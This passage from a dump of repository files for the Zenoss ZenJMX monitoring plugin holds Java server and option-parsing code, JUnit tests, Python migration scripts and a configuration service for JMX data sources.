Logger.getRootLogger().setLevel(level);\n }\n else\n {\n _logger.warn(\"Ignoring unknown log severity \" + levelOpt);\n }\n }\n\n String port = config.getProperty(OptionsFactory.LISTEN_PORT,\n OptionsFactory.DEFAULT_LISTENPORT);\n\n Server server = new Server();\n Connector connector = new SocketConnector();\n connector.setPort(Integer.parseInt(port));\n server.setConnectors(new Connector[] { connector });\n\n ServletHandler handler = new ServletHandler();\n\n ServletHolder holder = new ServletHolder(new XmlRpcServlet());\n handler.addServletWithMapping(holder, \"/\");\n // handler.start();\n handler.initialize();\n\n server.setHandler(handler);\n try\n {\n server.start();\n }\n catch (Exception e)\n {\n System.exit(10);\n }\n server.join();\n }\n\n /**\n * Parses the command line arguments\n */\n private static void parseArguments(Configuration config, String[] args)\n throws ParseException, NumberFormatException\n {\n\n OptionsFactory factory = OptionsFactory.instance();\n Options options = factory.createOptions();\n // parse the command line\n CommandLineParser parser = new PosixParser();\n CommandLine cmd = parser.parse(options, args);\n\n // get the config file argument and load it into the properties\n if ( cmd.hasOption(OptionsFactory.CONFIG_FILE) )\n {\n String filename = cmd.getOptionValue(OptionsFactory.CONFIG_FILE);\n try\n {\n config.load(new FileInputStream(filename));\n }\n catch (IOException e)\n {\n _logger.error(\"failed to load configuration file\", e);\n }\n }\n else\n {\n _logger.warn(\"no config file option (--\"\n + OptionsFactory.CONFIG_FILE + \") specified\");\n _logger.warn(\"only setting options based on command \"\n + \"line arguments\");\n }\n\n if ( _logger.isDebugEnabled() )\n {\n for (String arg : args)\n {\n _logger.debug(\"arg: \" + arg);\n }\n }\n\n // interrogate the options and get the argument values\n overrideProperty(config, cmd, OptionsFactory.LISTEN_PORT);\n overrideProperty(config, cmd, OptionsFactory.LOG_SEVERITY);\n overrideOption(config, cmd, OptionsFactory.CONCURRENT_JMX_CALLS);\n // tell the user about the arguments\n _logger.info(\"zenjmxjava configuration:\");\n _logger.info(config.toString());\n }\n\n /**\n * Checks the CommandLine for the property with the name provided. If\n * present it sets the name and value pair in the _config field.\n */\n private static void overrideProperty(Configuration config, CommandLine cmd,\n String name)\n {\n if ( cmd.hasOption(name) )\n {\n String value = cmd.getOptionValue(name);\n config.setProperty(name, value);\n }\n }\n\n /**\n * Checks the CommandLine for the option with the name provided. If present\n * it sets the name and value pair in the _config field using \"true\" as the\n * value of the option.\n */\n private static void overrideOption(Configuration config, CommandLine cmd,\n String option)\n {\n if ( cmd.hasOption(option) )\n {\n config.setProperty(option, \"true\");\n }\n }\n\n}\n" }, { "alpha_fraction": 0.5983690023422241, "alphanum_fraction": 0.6024464964866638, "avg_line_length": 42.599998474121094, "blob_id": "0f81502d7322f9cdd7db341a62f7c8d2410009f2", "content_id": "42700249b6bfb231c2a2566973d99f13d5f4f6b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1962, "license_type": "no_license", "max_line_length": 87, "num_lines": 45, "path": "/ZenPacks/zenoss/ZenJMX/migrate/MigrateThreadCountDataPoints.py", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2009, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\nfrom Products.ZenModel.migrate.Migrate import Version\nfrom Products.ZenModel.ZenPack import ZenPackMigration\nimport logging\nlog = logging.getLogger(\"zen\")\n\nclass MigrateThreadCountDataPoints(ZenPackMigration):\n version = Version(3, 1, 5)\n \n def migrate(self, pack):\n log.info(\"MigrateThreadCountDataPoints migrate\")\n #find devices with either the java or zenjmx templat\n #and delete the rrd file for the threadcount datapoint\n \n for d in pack.dmd.Devices.getSubDevices():\n log.debug(\"MigrateThreadCountDataPoints device %s\" % d.id)\n\n for template in d.getRRDTemplates():\n\n templateId = template.getPrimaryDmdId()\n log.debug(\"MigrateThreadCountDataPoints template %s\" % templateId)\n\n dpName = None\n if templateId == '/Devices/rrdTemplates/Java':\n dpName = 'Thread Count_ThreadCount'\n elif templateId == '/Devices/rrdTemplates/ZenJMX':\n dpName = 'ZenJMX Thread Count_ThreadCount'\n \n if dpName:\n log.debug(\"MigrateThreadCountDataPoints dpName %s\" % dpName)\n perfConf = d.getPerformanceServer()\n log.debug(\"MigrateThreadCountDataPoints perfConf %s\" % perfConf.id)\n perfConf.deleteRRDFiles(device=d.id, datapoint=dpName)\n" }, { "alpha_fraction": 0.6366162300109863, "alphanum_fraction": 0.6427909731864929, "avg_line_length": 23.725191116333008, "blob_id": "3634507593f64a3429e6aac20bb5c4cc2e287d21", "content_id": "a1bea20ffc42b91ffad1965ff48c8a42ae6f7657", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 3239, "license_type": "no_license", "max_line_length": 75, "num_lines": 131, "path": "/ZenPacks/zenoss/ZenJMX/src/test/java/com/zenoss/zenpacks/zenjmx/call/SummaryTest.java", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "///////////////////////////////////////////////////////////////////////////\n//\n//Copyright 2008 Zenoss Inc \n//Licensed under the Apache License, Version 2.0 (the \"License\"); \n//you may not use this file except in compliance with the License. \n//You may obtain a copy of the License at \n// http://www.apache.org/licenses/LICENSE-2.0 \n//Unless required by applicable law or agreed to in writing, software \n//distributed under the License is distributed on an \"AS IS\" BASIS, \n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n//See the License for the specific language governing permissions and \n//limitations under the License.\n//\n///////////////////////////////////////////////////////////////////////////\npackage com.zenoss.zenpacks.zenjmx.call;\n\nimport junit.framework.*;\nimport junit.textui.TestRunner;\n\nimport java.util.Map;\nimport java.util.HashMap;\n\n\n/**\n * <p> Tests the methods in the Summary class. Don't feel reassured\n * though - the extensiveness of the test is lacking... </p>\n *\n * <p>$Author: chris $</p>\n *\n * @author Christopher Blunck\n * @version $Revision: 1.6 $\n */\npublic class SummaryTest\n extends TestCase {\n\n // the configuration for the Summary\n private static final String DEVICE_ID = \"device\";\n private static final String OBJECT_NAME = \"objectName\";\n private static final String CALL_SUMMARY = \"single-value attribute call\";\n private static final String DATA_SOURCE_ID = \"dataSourceId\";\n private static final Map<String, Object> RESULTS;\n private static final Map<String, String> TYPE_MAP;\n private static final long RUNTIME = 12L;\n private static final boolean CANCELLED = false;\n private static final int CALL_ID = 34;\n\n // the summaries we will test\n private static Summary _summ1;\n private static Summary _summ2;\n\n static {\n RESULTS = new HashMap<String, Object>();\n RESULTS.put(\"a\", \"a\");\n\n TYPE_MAP = new HashMap<String, String>();\n TYPE_MAP.put(\"a\", \"java.lang.String\");\n }\n\n\n /**\n * Constructs a test that invokes a specific test method\n */\n public SummaryTest(String method) {\n super(method);\n }\n\n\n /**\n * Creates a Summary based on default values\n */\n private Summary createSummary() {\n Summary s = new Summary();\n\n s.setDeviceId(DEVICE_ID);\n s.setObjectName(OBJECT_NAME);\n s.setCallSummary(CALL_SUMMARY);\n s.setDataSourceId(DATA_SOURCE_ID);\n s.setResults(RESULTS);\n s.setRuntime(RUNTIME);\n s.setCancelled(CANCELLED);\n s.setCallId(CALL_ID);\n\n return s;\n }\n\n\n /**\n * Called before each method is invoked\n */\n public void setUp() { \n _summ1 = createSummary();\n _summ2 = createSummary();\n }\n\n\n /**\n * Called after each method finishes execution\n */\n public void tearDown() { }\n\n\n /**\n * Defines the list of test methods to run. By default we'll run\n * 'em all.\n */\n public static Test suite() {\n TestSuite suite = new TestSuite(SummaryTest.class);\n return suite;\n }\n\n \n /**\n * Runs all the tests via the command line.\n */\n public static void main(String[] args) {\n TestRunner.run(SummaryTest.class);\n }\n\n\n /*\n * TEST METHODS BEGIN HERE\n */\n\n /**\n * Tests the equals() method\n */\n public void testEquals() {\n assertTrue(_summ1.equals(_summ2));\n }\n\n}\n" }, { "alpha_fraction": 0.6598079800605774, "alphanum_fraction": 0.6646090745925903, "avg_line_length": 31.399999618530273, "blob_id": "0271b7c4f22a6aad136d1834114d21b8f2dd9747", "content_id": "7bf3742483284557e940fb854e757d73ed893a7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2916, "license_type": "no_license", "max_line_length": 103, "num_lines": 90, "path": "/ZenPacks/zenoss/ZenJMX/src/main/java/com/zenoss/zenpacks/zenjmx/OptionsFactory.java", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "///////////////////////////////////////////////////////////////////////////\n//\n//Copyright 2008 Zenoss Inc \n//Licensed under the Apache License, Version 2.0 (the \"License\"); \n//you may not use this file except in compliance with the License. \n//You may obtain a copy of the License at \n// http://www.apache.org/licenses/LICENSE-2.0 \n//Unless required by applicable law or agreed to in writing, software \n//distributed under the License is distributed on an \"AS IS\" BASIS, \n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n//See the License for the specific language governing permissions and \n//limitations under the License.\n//\n///////////////////////////////////////////////////////////////////////////\npackage com.zenoss.zenpacks.zenjmx;\n\nimport org.apache.commons.cli.Options;\nimport org.apache.commons.cli.Option;\n\n\n/**\n * <p> Factory for creating Options. The command line option\n * information used to be included in the Main class but it was\n * getting too big and bulky so I moved it into a factory. </p>\n *\n * <p>$Author: chris $</p>\n *\n * @author Christopher Blunck\n * @version $Revision: 1.6 $\n */\npublic class OptionsFactory {\n // configuration options\n public static final String LISTEN_PORT = \"zenjmxjavaport\";\n public static final String CONFIG_FILE = \"configfile\";\n public static final String LOG_SEVERITY = \"v\";\n public static final String CONCURRENT_JMX_CALLS = \"concurrentJMXCalls\";\n \n // default values (also set in zenjmx.conf)\n public static final String DEFAULT_LISTENPORT = \"9988\";\n\n // singleton instance\n private static OptionsFactory _instance;\n\n \n /**\n * Private constructor to enforce singleton pattern\n */\n private OptionsFactory() { }\n\n\n /**\n * Creates an Option (which is by definition ... not required)\n * @param name the short name of the argument\n * @param hasValue set to true to indicate the option has a value\n * associated with it. set to value if the option does not have a\n * value (e.g. --cycle or --help)\n * @param desc a description of the option\n */\n private Option createOption(String name, boolean hasValue, String desc) {\n Option option = new Option(name, hasValue, desc);\n return option;\n }\n\n\n /**\n * Creates command line options\n */\n public Options createOptions() {\n Options o = new Options();\n\n // everything is treated as an optional argument\n o.addOption(createOption(CONFIG_FILE, true, \"configuration file\"));\n o.addOption(createOption(LISTEN_PORT, true, \"Port to listen for requests\"));\n o.addOption(createOption(LOG_SEVERITY, true, \"Severity for logging\"));\n o.addOption(createOption(CONCURRENT_JMX_CALLS, false, \"Enable concurrent calls to a JMX server\"));\n return o;\n }\n\n\n /**\n * Singleton accessor method\n */\n public static OptionsFactory instance() {\n if (_instance == null) {\n _instance = new OptionsFactory();\n }\n\n return _instance;\n }\n}\n" }, { "alpha_fraction": 0.6692573428153992, "alphanum_fraction": 0.6761658191680908, "avg_line_length": 40.32143020629883, "blob_id": "cf9eb7bcdb2fa7081926b0e840d5f9fc32d14d76", "content_id": "9bbce2a54e17ca41548b409a4e52686755128919", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1158, "license_type": "no_license", "max_line_length": 75, "num_lines": 28, "path": "/ZenPacks/zenoss/ZenJMX/migrate/ConvertJMXDataSources.py", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2008, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\nimport Globals\nfrom Products.ZenModel.migrate.Migrate import Version\nfrom Products.ZenModel.ZenPack import ZenPack, ZenPackDataSourceMigrateBase\nfrom ZenPacks.zenoss.ZenJMX.datasources.JMXDataSource import JMXDataSource\n\nclass ConvertJMXDataSources(ZenPackDataSourceMigrateBase):\n version = Version(3, 1, 2)\n \n # These provide for conversion of datasource instances to the new class\n dsClass = JMXDataSource\n oldDsModuleName = 'Products.ZenJMX.datasources.JMXDataSource'\n oldDsClassName = 'JMXDataSource'\n \n # Reindex all applicable datasource instances\n reIndex = True\n\n" }, { "alpha_fraction": 0.6184942126274109, "alphanum_fraction": 0.6237493753433228, "avg_line_length": 31.022653579711914, "blob_id": "77014a67596cba199c429b229e42586618203fe1", "content_id": "cc05ffc2ec2e09647c245b435e6d0d44eb51ee38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 9895, "license_type": "no_license", "max_line_length": 93, "num_lines": 309, "path": "/ZenPacks/zenoss/ZenJMX/src/test/java/com/zenoss/zenpacks/zenjmx/call/OperationCallTest.java", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "///////////////////////////////////////////////////////////////////////////\n//\n//Copyright 2008 Zenoss Inc \n//Licensed under the Apache License, Version 2.0 (the \"License\"); \n//you may not use this file except in compliance with the License. \n//You may obtain a copy of the License at \n// http://www.apache.org/licenses/LICENSE-2.0 \n//Unless required by applicable law or agreed to in writing, software \n//distributed under the License is distributed on an \"AS IS\" BASIS, \n//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \n//See the License for the specific language governing permissions and \n//limitations under the License.\n//\n///////////////////////////////////////////////////////////////////////////\npackage com.zenoss.zenpacks.zenjmx.call;\n\nimport static com.zenoss.zenpacks.zenjmx.call.CallFactory.DATA_POINT;\nimport junit.framework.*;\nimport junit.textui.TestRunner;\n\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.ArrayList;\nimport java.util.Map;\n\nimport javax.management.MBeanServer;\nimport javax.management.MBeanServerFactory;\nimport javax.management.MalformedObjectNameException;\nimport javax.management.ObjectName;\nimport javax.management.remote.JMXConnectorServer;\nimport javax.management.remote.JMXConnectorServerFactory;\nimport javax.management.remote.JMXServiceURL;\n\n\n/**\n * <p>\n * Tests the methods in the OperationAttributeCall class. Don't feel reassured\n * though - the extensiveness of the test is lacking...\n * </p>\n * \n * <p>\n * $Author: chris $\n * </p>\n * \n * @author Christopher Blunck\n * @version $Revision: 1.6 $\n */\npublic class OperationCallTest\n extends TestCase {\n\n // the configuration for the call\n private static final String URL = \n \"service:jmx:rmi:///jndi/rmi://localhost:9999/server\";\n private static final boolean AUTHENTICATE = true;\n private static final String USERNAME = \"username\";\n private static final String PASSWORD = \"password\";\n private static final String OBJECT_NAME = \"mbean\";\n private static final String ATTR_NAME = \"attribute\";\n private static final String ATTR_TYPE = \"attribute type\";\n private static Object[] PARAM_VALUES;\n private static String[] PARAM_TYPES;\n private static List<String> KEYS;\n private static List<String> TYPES;\n // the calls we will test\n \n private static OperationCall _call1;\n private static OperationCall _call2;\n\n \n private static ObjectName mbeanObjectName;\n private static JMXConnectorServer JMXServer = null;\n // staticly initialize the arrays and lists we will pass to the calls\n static {\n PARAM_VALUES = new Object[] {\n \"param1\", \"param2\"\n };\n\n PARAM_TYPES = new String[] {\n \"java.lang.String\", \"java.lang.String\"\n };\n\n KEYS = new ArrayList<String>();\n KEYS.add(\"key1\");\n KEYS.add(\"key2\");\n\n TYPES = new ArrayList<String>();\n TYPES.add(\"java.lang.String\");\n TYPES.add(\"java.lang.Double\");\n }\n\n\n /**\n * Constructs a test that invokes a specific test method\n */\n public OperationCallTest(String method) {\n super(method);\n }\n\n\n /**\n * Called before each method is invoked. Sets up the two call objects we\n * will use.\n */\n public void setUp() throws Exception{ \n// _call1 = \n// new OperationCall(URL, AUTHENTICATE, \n// USERNAME, PASSWORD, \n// OBJECT_NAME, ATTR_NAME,\n// PARAM_VALUES,\n// PARAM_TYPES,\n// KEYS, TYPES);\n//\n// _call2 = \n// new OperationCall(URL, AUTHENTICATE, \n// USERNAME, PASSWORD, \n// OBJECT_NAME, ATTR_NAME,\n// PARAM_VALUES,\n// PARAM_TYPES,\n// KEYS, TYPES);\n// MBeanServer mbs = MBeanServerFactory.createMBeanServer();\n// registerMbean(mbs);\n// startMBeanServer(mbs);\n }\n\n \n private static void startMBeanServer(MBeanServer mbs)throws Exception{\n JMXServiceURL url = new JMXServiceURL(\n \"service:jmx:rmi:///jndi/rmi://localhost:9999/server\");\n // Need to start an RMI registry for this to work\n // eg. \"rmiresgistry 9999 &\"\n JMXServer =\n JMXConnectorServerFactory.newJMXConnectorServer(url, null, mbs);\n\n JMXServer.start();\n }\n \n \n private static void registerMbean(MBeanServer mbs) throws Exception{\n \n \n// // Get default domain\n// //\n// String domain = mbs.getDefaultDomain();\n//\n// // Create and register the SimpleStandard MBean\n// //\n// String mbeanClassName = ZenJMXTest.class.getName();\n// String mbeanObjectNameStr =\n// domain + \":type=\" + mbeanClassName + \",index=1\";\n// createSimpleMBean(mbs, mbeanClassName, mbeanObjectNameStr);\n \n }\n\n private static void createSimpleMBean(MBeanServer mbs, \n String mbeanClassName, String mbeanObjectNameStr) throws Exception {\n \n mbeanObjectName = \n ObjectName.getInstance(mbeanObjectNameStr);\n mbs.createMBean(mbeanClassName, mbeanObjectName);\n \n }\n /**\n * Called after each method finishes execution\n */\n public void tearDown() throws Exception { \n// _call1 = null;\n// _call2 = null;\n// if(JMXServer != null){\n// JMXServer.stop();\n// }\n// JMXServer = null;\n }\n\n\n /**\n * Defines the list of test methods to run. By default we'll run 'em all.\n */\n public static Test suite() {\n TestSuite suite = new TestSuite(OperationCallTest.class);\n return suite;\n }\n\n \n /**\n * Runs all the tests via the command line.\n */\n public static void main(String[] args) {\n TestRunner.run(OperationCallTest.class);\n }\n\n\n /*\n * TEST METHODS BEGIN HERE\n */\n\n /**\n * Tests the hashCode() method\n */\n public void testHashCode() {\n// assertEquals(_call1.hashCode(), _call2.hashCode());\n }\n\n\n /**\n * Tests the equals() method\n */\n public void testEquals() {\n// assertTrue(_call1.equals(_call2));\n }\n \n public void testOperationStringResult() throws Exception\n {\n// List<String> keyList = new ArrayList<String>();\n// keyList.add(\"key\");\n// List<String> typeList = new ArrayList<String>();\n// typeList.add(\"type\");\n// List<String>emptyList = Collections.emptyList(); \n// \n// OperationCall call = \n// new OperationCall(URL, \n// false,\"\", \"\", \n// mbeanObjectName.getCanonicalName(),\n// \"operationStringResult\",\n// new Object[0],\n// new String[0],\n// keyList,typeList);\n// call.call();\n// assertEquals(\"operationStringResult\", ZenJMXTest.lastCall);\n// Object[] lastArgs = ZenJMXTest.lastArgs;\n// assertTrue(Arrays.equals(new Object[0], ZenJMXTest.lastArgs));\n// assertEquals(\"blam\", ZenJMXTest.lastReturn);\n\n }\n public void testOperationStrinResultAndStringArg() throws Exception\n {\n// List<String> keyList = new ArrayList<String>();\n// keyList.add(\"key\");\n// List<String> typeList = new ArrayList<String>();\n// typeList.add(\"type\");\n// Object[] args = new Object[]{\"myArg\"};\n// OperationCall call = getCall(\"operationStrinResultAndStringArg\", \"myArg\",\n// \"java.lang.String\");\n// new OperationCall(URL, \n// false,\"\", \"\", \n// mbeanObjectName.getCanonicalName(),\n// \"operationStrinResultAndStringArg\",\n// args,\n// new String[]{\"java.lang.String\"},\n// keyList,typeList);\n// call.call();\n// assertEquals(\"operationStrinResultAndStringArg\", ZenJMXTest.lastCall);\n// assertTrue(Arrays.equals(args, ZenJMXTest.lastArgs));\n// assertEquals(\"myArg\", ZenJMXTest.lastReturn);\n\n }\n \n public void testOperationStringArgs() throws Exception\n {\n// List<String> keyList = new ArrayList<String>();\n// keyList.add(\"key\");\n// List<String> typeList = new ArrayList<String>();\n// typeList.add(\"type\");\n// Object[] args = new Object[]{\"myArg0\", \"myArg1\"};\n// OperationCall call = getCall(\"operationStringArgs\", \"myArg0, myArg1\",\n// \"java.lang.String, java.lang.String\");\n// call.call();\n// assertEquals(\"operationStringArgs\", ZenJMXTest.lastCall);\n// assertTrue(Arrays.equals(args, ZenJMXTest.lastArgs));\n// assertEquals(\"myArg0myArg1\", ZenJMXTest.lastReturn);\n\n }\n \n public void testOperationIntResultAnIntArg() throws Exception\n {\n// List<String> keyList = new ArrayList<String>();\n// keyList.add(\"key\");\n// List<String> typeList = new ArrayList<String>();\n// typeList.add(\"type\");\n// int arg = 1;\n// OperationCall call = getCall(\"operationIntResultAnIntArg\", \"1\", \"int\");\n// call.call();\n// assertEquals(\"operationIntResultAnIntArg\", ZenJMXTest.lastCall);\n// assertTrue(Arrays.equals(new Object[]{arg}, ZenJMXTest.lastArgs));\n// assertEquals(arg, ZenJMXTest.lastReturn);\n\n }\n \n \n// public OperationCall getCall(String operation,String args, String types) throws Exception\n// {\n//// Map config = new HashMap();\n//// \n//// config.put(\"jmxPort\", \"9999\");\n//// config.put(\"rmiContext\", \"server\");\n//// config.put(\"jmxProtocol\",\"RMI\");\n//// config.put(\"manageIp\", \"localhost\");\n//// config.put(JmxCall.AUTHENTICATE,Boolean.FALSE);\n//// config.put(OperationCall.OPERATION_PARAM_TYPES, types);\n//// config.put(OperationCall.OPERATION_PARAM_VALUES, args);\n//// config.put(CallFactory.DATA_POINT, new Object[]{\"myDataPoint\"});\n//// config.put(JmxCall.TYPES, new Object[]{\"rrdType\"});\n//// config.put(JmxCall.OBJECT_NAME, mbeanObjectName.getCanonicalName());\n//// config.put(OperationCall.OPERATION_NAME, operation);\n//// OperationCall call = OperationCall.fromValue(config);\n//// return call;\n// }\n}\n" }, { "alpha_fraction": 0.6015329957008362, "alphanum_fraction": 0.6041273474693298, "avg_line_length": 35.085105895996094, "blob_id": "a7c923f0f4672e8d015c01800251df1cf7b6b232", "content_id": "9d87ebe416a7b327662ca8887c04f079ab81dcfb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8480, "license_type": "no_license", "max_line_length": 111, "num_lines": 235, "path": "/ZenPacks/zenoss/ZenJMX/services/ZenJMXConfigService.py", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2008, 2009 Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\nimport md5\n\nimport Globals\nimport logging\nfrom Products.ZenHub.services.PerformanceConfig import PerformanceConfig\nfrom Products.ZenUtils.ZenTales import talesEval\nfrom Products.ZenEvents.Exceptions import pythonThresholdException\nfrom Products.ZenEvents.ZenEventClasses import Error, Clear\nfrom Products.ZenCollector.services.config import CollectorConfigService\n\nfrom ZenPacks.zenoss.ZenJMX.datasources.JMXDataSource import JMXDataSource\n\nfrom twisted.spread import pb\nlog = logging.getLogger( \"zen.zenjmxconfigservices\" )\nclass RRDConfig(pb.Copyable, pb.RemoteCopy):\n \"\"\"\n RRD configuration for a datapoint.\n Contains the create command and the min and max \n values for a datapoint\n \"\"\"\n def __init__(self, dp):\n self.dpName = dp.name()\n self.command = dp.createCmd\n self.dataPointId = dp.id\n self.min = dp.rrdmin\n self.max = dp.rrdmax\n self.rrdType = dp.rrdtype\n\npb.setUnjellyableForClass(RRDConfig, RRDConfig)\n \n\nclass JMXDeviceConfig(pb.Copyable, pb.RemoteCopy):\n \"\"\"\n Represents the configuration for a device.\n Contains a list of JMXDataSourceConfig objects\n \"\"\"\n \n def __init__(self, device):\n self.id = device.id\n self.configId = device.id\n #map of jmxserverkey to JMXDataSourceConfig list\n self.jmxDataSourceConfigs = {}\n self.manageIp = device.manageIp\n self.thresholds = []\n\n # Default interval is 5 minutes.\n # This may be replaced with per datasource\n # intervals at some point. For now, this\n # will be ignored at the collector.\n self.configCycleInterval = 5 * 60\n \n def findDataSource(self, dataSourceId):\n for subList in self.jmxDataSourceConfigs.values():\n for dsConfig in subList:\n if(dsConfig.datasourceId == dataSourceId):\n return dsConfig\n return None\n \n def add(self, jmxDataSourceConfig):\n \"\"\"\n add a JMXDataSourceConfig to the device configuration\n \"\"\"\n key = jmxDataSourceConfig.getJMXServerKey()\n configs = self.jmxDataSourceConfigs.get(key)\n if(not configs):\n configs = []\n self.jmxDataSourceConfigs[key] = configs\n configs.append(jmxDataSourceConfig)\n \npb.setUnjellyableForClass(JMXDeviceConfig, JMXDeviceConfig)\n\n\nclass JMXDataSourceConfig(pb.Copyable, pb.RemoteCopy):\n \"\"\"\n Represents a JMX datasource configuration on a device. \n \"\"\"\n\n def __init__(self, device, component, template, datasource):\n self.device = device.id\n self.manageIp = device.manageIp\n self.datasourceId = datasource.id\n if component is None:\n self.component = datasource.getComponent(device)\n self.rrdPath = device.rrdPath()\n self.copyProperties(device, datasource)\n else:\n self.component = datasource.getComponent(component)\n self.rrdPath = component.rrdPath()\n self.copyProperties(component, datasource)\n\n #dictionary of datapoint name to RRDConfig\n self.rrdConfig = {}\n for dp in datasource.datapoints():\n self.rrdConfig[dp.id] = RRDConfig(dp)\n\n\n def copyProperties(self, device, ds):\n \"\"\"\n copy the properties from the datasouce and set them\n as attributes\n \"\"\"\n for propName in [prop['id'] for prop in ds._properties]:\n value = getattr(ds, propName)\n if str(value).find('$') >= 0:\n value = talesEval('string:%s' % (value,), device)\n if propName == 'authenticate':\n if value:\n value = str(value).lower().capitalize()\n value = bool(value)\n setattr(self, propName, value)\n\n\n def key(self):\n return self.device, self.datasourceId\n\n def getJMXServerKey(self):\n \"\"\"\n string which represents the jmx server and connection props. \n Can be compared to determine if datasources configurations point to the\n same jmx server\n \"\"\"\n return self.device + self.manageIp + self.getConnectionPropsKey()\n \n def getConnectionPropsKey(self):\n \"\"\"\n string key which represents the connection properties that make up \n the connection properties for the datasource. \n \"\"\"\n # raw service URL is being used\n if self.jmxRawService:\n return self.jmxRawService\n\n components = [self.jmxProtocol]\n if self.jmxProtocol == \"RMI\":\n components.append(self.rmiContext)\n components.append(str(self.jmxPort))\n if (self.authenticate):\n creds = self.username + self.password\n components.append( md5.new(creds).hexdigest() );\n \n return \":\".join(components)\n \n def update(self, value):\n self.__dict__.update(value.__dict__)\n\npb.setUnjellyableForClass(JMXDataSourceConfig, JMXDataSourceConfig)\n\n\nclass ZenJMXConfigService(CollectorConfigService):\n \"\"\"ZenHub service for getting ZenJMX configurations \n from the object database\"\"\"\n def __init__(self, dmd, instance):\n attributes = ()\n CollectorConfigService.__init__(self,\n dmd,\n instance,\n attributes)\n self._ds_errors = {}\n\n\n def _get_ds_conf(self, device, component, template, ds):\n component_id = None if (component is None) else component.id\n ds_error_key = (device.id, component_id, template.id, ds.id)\n ds_conf = None\n\n try:\n ds_conf = JMXDataSourceConfig(device, component, template, ds)\n evt = self._ds_errors.pop(ds_error_key, None)\n if evt is not None:\n evt[\"severity\"] = Clear\n self.sendEvent(evt)\n\n except Exception, e:\n fmt = \"Evaluation of data source '{0.id}' in template '{1.id}' failed: {2.__class__.__name__}: {2}\"\n summary = fmt.format(ds, template, e)\n evt = dict(severity=Error,\n device=device.id,\n eventClass=\"/Status/JMX\",\n summary=summary)\n msg = summary + \" device={0.id}\".format(device)\n evt[\"component\"] = component_id\n msg += \", component={0}\".format(component_id)\n self.sendEvent(evt)\n self._ds_errors[ds_error_key] = evt\n self.log.error(msg)\n\n return ds_conf\n\n\n def _createDeviceProxy(self, device):\n deviceConfig = JMXDeviceConfig(device)\n deviceConfig.thresholds += device.getThresholdInstances(\n JMXDataSource.sourcetype)\n\n for template in device.getRRDTemplates():\n for ds in self._getDataSourcesFromTemplate(template):\n ds_conf = self._get_ds_conf(device, None, template, ds)\n if ds_conf is not None:\n deviceConfig.add(ds_conf)\n\n for component in device.getMonitoredComponents():\n deviceConfig.thresholds += component.getThresholdInstances(\n JMXDataSource.sourcetype)\n\n for template in component.getRRDTemplates():\n for ds in self._getDataSourcesFromTemplate(template):\n ds_conf = JMXDataSourceConfig(device, component, template, ds)\n if ds_conf is not None:\n deviceConfig.add(ds_conf)\n\n # Don't both returning a proxy if there are no datasources.\n if not len(deviceConfig.jmxDataSourceConfigs.keys()):\n return None\n\n return deviceConfig\n\n def _getDataSourcesFromTemplate(self, template):\n datasources = []\n for ds in template.getRRDDataSources('JMX'):\n if not ds.enabled: continue\n datasources.append(ds)\n\n return datasources\n" }, { "alpha_fraction": 0.6416906714439392, "alphanum_fraction": 0.6493756175041199, "avg_line_length": 34.89655303955078, "blob_id": "3b67c4b3eb44a8a1d4ec35b6bbbf5f20c9eb9452", "content_id": "ee11dc16169104f7e6a17e9964bec97ad7fb7aea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1041, "license_type": "no_license", "max_line_length": 75, "num_lines": 29, "path": "/ZenPacks/zenoss/ZenJMX/migrate/MigratePassword.py", "repo_name": "alienth/Zenpacks.zenoss.ZenJMX", "src_encoding": "UTF-8", "text": "###########################################################################\n#\n# This program is part of Zenoss Core, an open source monitoring platform.\n# Copyright (C) 2009, Zenoss Inc.\n#\n# This program is free software; you can redistribute it and/or modify it\n# under the terms of the GNU General Public License version 2 or (at your\n# option) any later version as published by the Free Software Foundation.\n#\n# For complete information please visit: http://www.zenoss.com/oss/\n#\n###########################################################################\n\nimport logging\nlog = logging.getLogger(\"zen.migrate\")\n\nimport Globals\nfrom Products.ZenModel.migrate.Migrate import Version\nfrom Products.ZenModel.ZenPack import ZenPackMigration\nfrom Products.ZenModel.migrate.MigrateUtils import migratePropertyType\n\nclass MigratePassword(ZenPackMigration):\n version = Version(3, 3, 0)\n\n def migrate(self, dmd):\n log.info(\"Migrating 